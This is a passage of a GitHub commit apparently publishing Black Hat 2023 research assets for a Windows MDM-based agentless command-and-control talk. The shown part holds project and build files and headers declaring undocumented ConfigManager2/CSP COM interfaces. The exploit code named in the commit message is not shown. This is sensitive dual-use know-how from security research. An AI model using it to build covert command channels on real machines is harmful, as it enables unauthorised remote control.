Pushing Blackhat USA 2023 assets for Windows Agentless C2 talk (#13233)

This commit contains the following assets

- Whitepaper
- Slides
- MDM PoC Server
- Exploit Code for CVE-2023-38186
- Sample CSP Boilerplate code
This commit is contained in:
Marcos Oviedo 2023-08-08 22:24:50 -03:00 committed by GitHub
parent 7ade93ade1
commit d0232561b9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
60 changed files with 7000 additions and 0 deletions

21
tools/blackhat-mdm/LICENSE Executable file
View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 Marcos Oviedo
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

1
tools/blackhat-mdm/README.md Executable file
View File

@ -0,0 +1 @@
# Windows MDM Research Assets

View File

@ -0,0 +1,6 @@
LIBRARY
EXPORTS
DllGetActivationFactory PRIVATE
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32802.440
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "c2runch_csp", "c2runch_csp.vcxproj", "{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x64.ActiveCfg = Debug|x64
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x64.Build.0 = Debug|x64
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x86.ActiveCfg = Debug|Win32
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x86.Build.0 = Debug|Win32
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x64.ActiveCfg = Release|x64
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x64.Build.0 = Release|x64
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x86.ActiveCfg = Release|Win32
{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {69CA2B28-058C-4A01-BB50-F947378FB5D6}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,183 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{faecc814-3f3f-4ca0-8c2b-72d5e4670b92}</ProjectGuid>
<RootNamespace>c2runchcsp</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<ModuleDefinitionFile>c2runch_csp.def</ModuleDefinitionFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<ModuleDefinitionFile>c2runch_csp.def</ModuleDefinitionFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<ModuleDefinitionFile>c2runch_csp.def</ModuleDefinitionFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<ModuleDefinitionFile>c2runch_csp.def</ModuleDefinitionFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="src\core.h" />
<ClInclude Include="src\com_helpers.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\core.cpp" />
<ClCompile Include="src\csp_com_interface.cpp" />
</ItemGroup>
<ItemGroup>
<None Include="c2runch_csp.def" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\core.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\com_helpers.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\core.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\csp_com_interface.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="c2runch_csp.def">
<Filter>Source Files</Filter>
</None>
</ItemGroup>
</Project>

Binary file not shown.

View File

@ -0,0 +1,341 @@
#pragma once
#include "core.h"
#include <string>
//ConfigManager2 Properties
// {B3DC615C-FC9F-4d03-A9CE-550108EED51D}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_ACL = { 0xb3dc615c, 0xfc9f, 0x4d03, { 0xa9, 0xce, 0x55, 0x1, 0x8, 0xee, 0xd5, 0x1d } };
// {F3FD4372-C86B-46bd-BC76-B881066E409D}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_DATATYPE = { 0xf3fd4372, 0xc86b, 0x46bd, { 0xbc, 0x76, 0xb8, 0x81, 0x6, 0x6e, 0x40, 0x9d } };
//{8F216A47-3C40-47b9-8836-E3970A95BDF0}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_SEMANTICTYPE = { 0x8f216a47, 0x3c40, 0x47b9, { 0x88, 0x36, 0xe3, 0x97, 0xa, 0x95, 0xbd, 0xf0 } };
// {3D5A3C6B-6A72-4ee0-A54E-CEF8C6BFB1EC}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_TSTAMP = { 0x3d5a3c6b, 0x6a72, 0x4ee0, { 0xa5, 0x4e, 0xce, 0xf8, 0xc6, 0xbf, 0xb1, 0xec } };
// {5C663178-DBC0-42e4-B933-946FF63F2361}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_SIZE = { 0x5c663178, 0xdbc0, 0x42e4, { 0xb9, 0x33, 0x94, 0x6f, 0xf6, 0x3f, 0x23, 0x61 } };
// {B3D64537-9DE7-4CD0-8FE6-DBB6FBF118AF}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_TITLE = { 0xb3d64537, 0x9de7, 0x4cd0, { 0x8f, 0xe6, 0xdb, 0xb6, 0xfb, 0xf1, 0x18, 0xaf } };
// {037CA430-EC07-453B-A4E4-23B37FACE658}
EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_PROVIDERTYPE = { 0x037ca430, 0xec07, 0x453b, { 0xa4, 0xe4, 0x23, 0xb3, 0x7f, 0xac, 0xe6, 0x58 } };
//ConfigManager2 Error Codes
//
// The node options provided are invalid
#define CFGMGR_E_INVALIDNODEOPTIONS ((HRESULT)0x86000000)
// The data type is invalid
#define CFGMGR_E_INVALIDDATATYPE ((HRESULT)0x86000001)
// The specified node doesn't exist
#define CFGMGR_E_NODENOTFOUND ((HRESULT)0x86000002)
// The operation is illegal inside of a transaction
#define CFGMGR_E_ILLEGALOPERATIONINATRANSACTION ((HRESULT)0x86000003)
// The operation is illegal outside of a transaction
#define CFGMGR_E_ILLEGALOPERATIONOUTSIDEATRANSACTION ((HRESULT)0x86000004)
// One or more commands failed to Execute
#define CFGMGR_E_ONEORMOREEXECUTIONFAILURES ((HRESULT)0x86000005)
// One or more commands failed to revert during the cancel
#define CFGMGR_E_ONEORMORECANCELFAILURES ((HRESULT)0x86000006)
// The command was executed, but the transaction failed so the command was rolled back successfully
#define CFGMGR_S_COMMANDFAILEDDUETOTRANSACTIONROLLBACK ((HRESULT)0x06000007)
// The transaction failed during the commit phase
#define CFGMGR_E_COMMITFAILURE ((HRESULT)0x86000008)
// The transaction failed during the rollback phase
#define CFGMGR_E_ROLLBACKFAILURE ((HRESULT)0x86000009)
// One or more commands failed during the cleanup phase after the transactions were committed
#define CFGMGR_E_ONEORMORECLEANUPFAILURES ((HRESULT)0x8600000A)
// The IConfigNodeState interface may not be used after the validation call
#define CFGMGR_E_CONFIGNODESTATEOBJECTNOLONGERVALID ((HRESULT)0x8600000B)
// The CSP registration in the registry is corrupted
#define CFGMGR_E_CSPREGISTRATIONCORRUPT ((HRESULT)0x8600000C)
// The cancel operation failed on the node
#define CFGMGR_E_NODEFAILEDTOCANCEL ((HRESULT)0x8600000D)
//The operation failed on the node because of a prior operation failure
#define CFGMGR_E_DEPENDENTOPERATIONFAILURE ((HRESULT)0x8600000E)
// The requested command failed because the node is in an invalid state
#define CFGMGR_E_CSPNODEILLEGALSTATE ((HRESULT)0x8600000F)
// The node must be internally transactioned to call this command
#define CFGMGR_E_REQUIRESINTERNALTRANSACTIONING ((HRESULT)0x86000010)
// The requested command is not allowed on the targe
#define CFGMGR_E_COMMANDNOTALLOWED ((HRESULT)0x86000011)
// Inter-CSP copy and move operations are illegal
#define CFGMGR_E_INTERCSPOPERATION ((HRESULT)0x86000012)
// The requested property is not supported by the node
#define CFGMGR_E_PROPERTYNOTSUPPORTED ((HRESULT)0x86000013)
// The semantic type is invalid
#define CFGMGR_E_INVALIDSEMANTICTYPE ((HRESULT)0x86000014)
// The URI contains a forbidden segment
#define CFGMGR_E_FORBIDDENURISEGMENT ((HRESULT)0x86000015)
// The requested read/write permission was not allowed
#define CFGMGR_E_READWRITEACCESSDENIED ((HRESULT)0x86000016)
// The requested read permission was not allowed because the data is secret
#define CFGMGR_E_SECRETDATAACCESSDENIED ((HRESULT)0x86000017)
// Error occured in XML parser
#define CFGMGR_E_XMLPARSEERROR ((HRESULT)0x86000018)
// The requested command timed out
#define CFGMGR_E_COMMANDTIMEOUT ((HRESULT)0x86000019)
// The CSP impersonation reference count value is incorrect
#define CFGMGR_E_IMPERSONATIONERROR ((HRESULT)0x86000020)
// The WMI operation error results from invalid arg
#define CFGMGR_E_WMIOPERATIONERROR ((HRESULT)0X86000021)
// No target SID for the CSP impersonation
#define CFGMGR_E_NOIMPERSONATIONTARGET ((HRESULT)0x86000022)
// Resource already provisioned by another configuration source
#define RESOURCEMGR_E_RESOURCEALREADYOWNED ((HRESULT)0x86000023)
//ConfigManager2 Node Options
#define CSP_OPTION_NATIVETHREADSAFETY 0x01
#define CSPNODE_OPTION_NATIVESECURITY 0x01
#define CSPNODE_OPTION_INTERNALTRANSACTION 0x02
#define CSPNODE_OPTION_HANDLEALLPROPERTIES 0x04
#define CSPNODE_OPTION_SECRETDATA 0x08
//ConfigManager2 Helper Types
typedef enum _CSP_NAMESPACE_PREFIX
{
CSP_NAMESPACE_DEVICE = 0,
CSP_NAMESPACE_USER = 1
} CSP_NAMESPACE;
typedef enum _CSP_NAMESPACE_PREFIX* PCSP_NAMESPACE;
typedef struct _CSP_NOTIFICATION_LOAD_DATA
{
DWORD grfCspOptions;
CSP_NAMESPACE cspNamespace;
LPCWSTR pszContextId;
} CSP_NOTIFICATION_LOAD_DATA;
typedef struct _CSP_NOTIFICATION_LOAD_DATA* PCSP_NOTIFICATION_LOAD_DATA;
typedef enum ConfigManager2Notification
{
CFGMGR_NOTIFICATION_LOAD = 0,
CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING = (CFGMGR_NOTIFICATION_LOAD + 1),
CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING = (CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING + 1),
CFGMGR_NOTIFICATION_UNLOAD = (CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING + 1),
CFGMGR_NOTIFICATION_SETSESSIONOBJ = (CFGMGR_NOTIFICATION_UNLOAD + 1),
CFGMGR_NOTIFICATION_BEGINCOMMIT = (CFGMGR_NOTIFICATION_SETSESSIONOBJ + 1),
CFGMGR_NOTIFICATION_ENDCOMMIT = (CFGMGR_NOTIFICATION_BEGINCOMMIT + 1),
CFGMGR_NOTIFICATION_BEGINROLLBACK = (CFGMGR_NOTIFICATION_ENDCOMMIT + 1),
CFGMGR_NOTIFICATION_ENDROLLBACK = (CFGMGR_NOTIFICATION_BEGINROLLBACK + 1),
CFGMGR_NOTIFICATION_BEGINTRANSACTIONING = (CFGMGR_NOTIFICATION_ENDROLLBACK + 1),
CFGMGR_NOTIFICATION_ENDTRANSACTIONING = (CFGMGR_NOTIFICATION_BEGINTRANSACTIONING + 1),
CFGMGR_NOTIFICATION_LAST = CFGMGR_NOTIFICATION_ENDTRANSACTIONING
} CFGMGR_NOTIFICATION;
typedef enum ConfigDataType
{
CFG_DATATYPE_INTEGER = 0,
CFG_DATATYPE_STRING = (CFG_DATATYPE_INTEGER + 1),
CFG_DATATYPE_FLOAT = (CFG_DATATYPE_STRING + 1),
CFG_DATATYPE_DATE = (CFG_DATATYPE_FLOAT + 1),
CFG_DATATYPE_TIME = (CFG_DATATYPE_DATE + 1),
CFG_DATATYPE_BOOLEAN = (CFG_DATATYPE_TIME + 1),
CFG_DATATYPE_BINARY = (CFG_DATATYPE_BOOLEAN + 1),
CFG_DATATYPE_MULTIPLE_STRING = (CFG_DATATYPE_BINARY + 1),
CFG_DATATYPE_NODE = (CFG_DATATYPE_MULTIPLE_STRING + 1),
CFG_DATATYPE_NULL = (CFG_DATATYPE_NODE + 1),
CFG_DATATYPE_UNKNOWN = (CFG_DATATYPE_NULL + 1),
CFG_DATATYPE_INTEGER64 = (CFG_DATATYPE_UNKNOWN + 1),
CFG_DATATYPE_EXPAND_STRING = (CFG_DATATYPE_INTEGER64 + 1),
CFG_DATATYPE_XML = (CFG_DATATYPE_EXPAND_STRING + 1),
CFG_DATATYPE_MAX = CFG_DATATYPE_XML
} CFG_DATATYPE;
// ConfigManager2 Interfaces
struct IConfigManager2MutableURI;
MIDL_INTERFACE("8D31FC7E-B285-49a2-B38C-6E0EF9D99CDB")
IConfigSession2 : public IUnknown{
public:
virtual HRESULT __stdcall GetHost(IUnknown * *p0) = 0;
virtual HRESULT __stdcall GetSessionVariable(BSTR p0, VARIANT* p1) = 0;
virtual HRESULT __stdcall ImpersonateTargetedUser() = 0;
virtual HRESULT __stdcall ImpersonateTargetedUserRevert() = 0;
};
MIDL_INTERFACE("e34e5896-40b2-45c4-a9c0-8a9601c3b0a6")
IConfigManager2URI : public IUnknown{
public:
virtual HRESULT __stdcall IsAbsoluteURI(int64_t * p0) = 0; //24
virtual HRESULT __stdcall HasQuery(int64_t* p0) = 0; //32
virtual HRESULT __stdcall InitializeFromString(wchar_t* p0) = 0; //40
virtual HRESULT __stdcall InitializeFromStream(ISequentialStream* p0) = 0; //48
virtual HRESULT __stdcall SaveToStream(ISequentialStream* p0) = 0; //56
virtual HRESULT __stdcall GetCanonicalRelativeURI(int64_t p0, int64_t p1, BSTR* p2) = 0; //64
virtual HRESULT __stdcall GetRelativeURI(int64_t p0, int64_t p1, IConfigManager2URI** p2) = 0; //72
virtual HRESULT __stdcall SplitURI(int64_t p0, int64_t p1, IConfigManager2URI** p2, IConfigManager2URI** p3) = 0; //80
virtual HRESULT __stdcall GetSegment(int64_t p0, wchar_t** p1) = 0; //88
virtual HRESULT __stdcall GetSegmentCopy(int64_t p0, BSTR* p1) = 0; //96
virtual HRESULT __stdcall CompareURI(IConfigManager2URI* p0, int64_t p1, int64_t* p2) = 0; //104
virtual HRESULT __stdcall FindLastCommonSegment(IConfigManager2URI* p0, int64_t p1, int64_t* p2) = 0; //112
virtual HRESULT __stdcall GetJoinedSegments(int64_t p0, wchar_t p1, BSTR* p2) = 0; //120
virtual HRESULT __stdcall GetQueryValue(wchar_t* p0, BSTR* p1) = 0; //128
virtual HRESULT __stdcall GetSegmentCount(int64_t* p0) = 0; //136
virtual HRESULT __stdcall Clone(int64_t p0, IConfigManager2MutableURI** p1) = 0; //144
virtual HRESULT __stdcall GetHash(int64_t p0, int64_t* p1) = 0; //152
virtual HRESULT __stdcall AppendSegmentToCopy(wchar_t* p0, int64_t p1, int64_t p2, IConfigManager2URI** p3) = 0; //160
virtual HRESULT __stdcall AppendRelativeURIToCopy(IConfigManager2URI* p0, int64_t p1, int64_t p2, IConfigManager2URI** p3) = 0; //168
};
MIDL_INTERFACE("4b965405-f21f-4702-95dd-4e81c3d1bb30")
IConfigManager2MutableURI : public IConfigManager2URI{
public:
virtual HRESULT __stdcall AppendSegment(wchar_t* p0, int64_t p1) = 0;
virtual HRESULT __stdcall AppendRelativeURI(IConfigManager2URI* p0, int64_t p1) = 0;
virtual HRESULT __stdcall ReplaceSegment(int64_t p0, wchar_t* p1, int64_t p2) = 0;
virtual HRESULT __stdcall DeleteSegment(int64_t p0) = 0;
virtual HRESULT __stdcall InsertSegment(int64_t p0, wchar_t* p1, int64_t p2) = 0;
virtual HRESULT __stdcall AppendQueryValue(wchar_t* p0, wchar_t* p1, int64_t p2) = 0;
virtual HRESULT __stdcall CreateNonMutableURI(IConfigManager2URI** p0) = 0;
};
MIDL_INTERFACE("8a13633c-797d-46e9-b602-d982b8ec9847")
ICSPNode : public IUnknown{
public:
virtual HRESULT __stdcall GetChildNodeNames(int64_t * p0, BSTR * *p1) = 0; //24
virtual HRESULT __stdcall Add(IConfigManager2URI* p0, uint16_t p1, VARIANT* p2, ICSPNode** p3, int64_t* p4) = 0; //32
virtual HRESULT __stdcall Copy(IConfigManager2URI* p0, ICSPNode** p1, int64_t* p2) = 0; //40
virtual HRESULT __stdcall DeleteChild(IConfigManager2URI* p0) = 0; //48
virtual HRESULT __stdcall Clear() = 0; //56
virtual HRESULT __stdcall Execute(VARIANT* p0) = 0; //64
virtual HRESULT __stdcall Move(IConfigManager2URI* p0) = 0; //72
virtual HRESULT __stdcall GetValue(VARIANT* p0) = 0; //80
virtual HRESULT __stdcall SetValue(VARIANT* p0) = 0; //88
virtual HRESULT __stdcall GetProperty(GUID* p0, VARIANT* p1) = 0; //96
virtual HRESULT __stdcall SetProperty(GUID* p0, VARIANT* p1) = 0; //104
virtual HRESULT __stdcall DeleteProperty(GUID* p0) = 0; //112
virtual HRESULT __stdcall GetPropertyIdentifiers(int64_t* p0, GUID** p1) = 0; //120
};
//Config manager clients uses the IConfigServiceProvider2 COM interface to reach Configuration Service Providers
//This provides access to nodes and to receive notifications from the Config manager
MIDL_INTERFACE("F35E39DC-E18A-48c2-88CB-B3CF48CA6E83")
IConfigServiceProvider2 : public IUnknown{
public:
virtual HRESULT STDMETHODCALLTYPE GetNode(IConfigManager2URI * omaURIs, ICSPNode * *ptrNode, int64_t * options) = 0;
virtual HRESULT STDMETHODCALLTYPE ConfigManagerNotification(uint16_t state, intptr_t params) = 0;
};
// Simple RAII class to ensure memory is freed
template <typename T> class HeapMemPtr {
public:
HeapMemPtr() {}
HeapMemPtr(HeapMemPtr &&other) : ptr(other.ptr) { other.ptr = nullptr; }
~HeapMemPtr() {
if (ptr)
HeapFree(GetProcessHeap(), 0, ptr);
}
HRESULT alloc(size_t size) {
ptr = reinterpret_cast<T *>(HeapAlloc(GetProcessHeap(), 0, size));
return ptr ? S_OK : E_OUTOFMEMORY;
}
T *get() { return ptr; }
bool isValid() { return ptr != nullptr; }
private:
T *ptr = nullptr;
};
std::string WStringToString(const std::wstring &wstr) {
if (wstr.empty()) {
return std::string();
}
int sizeNeeded = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(),
NULL, 0, NULL, NULL);
if (sizeNeeded == 0) { // conversion failed
return std::string();
}
std::string strTo(sizeNeeded, 0);
int conversionResult =
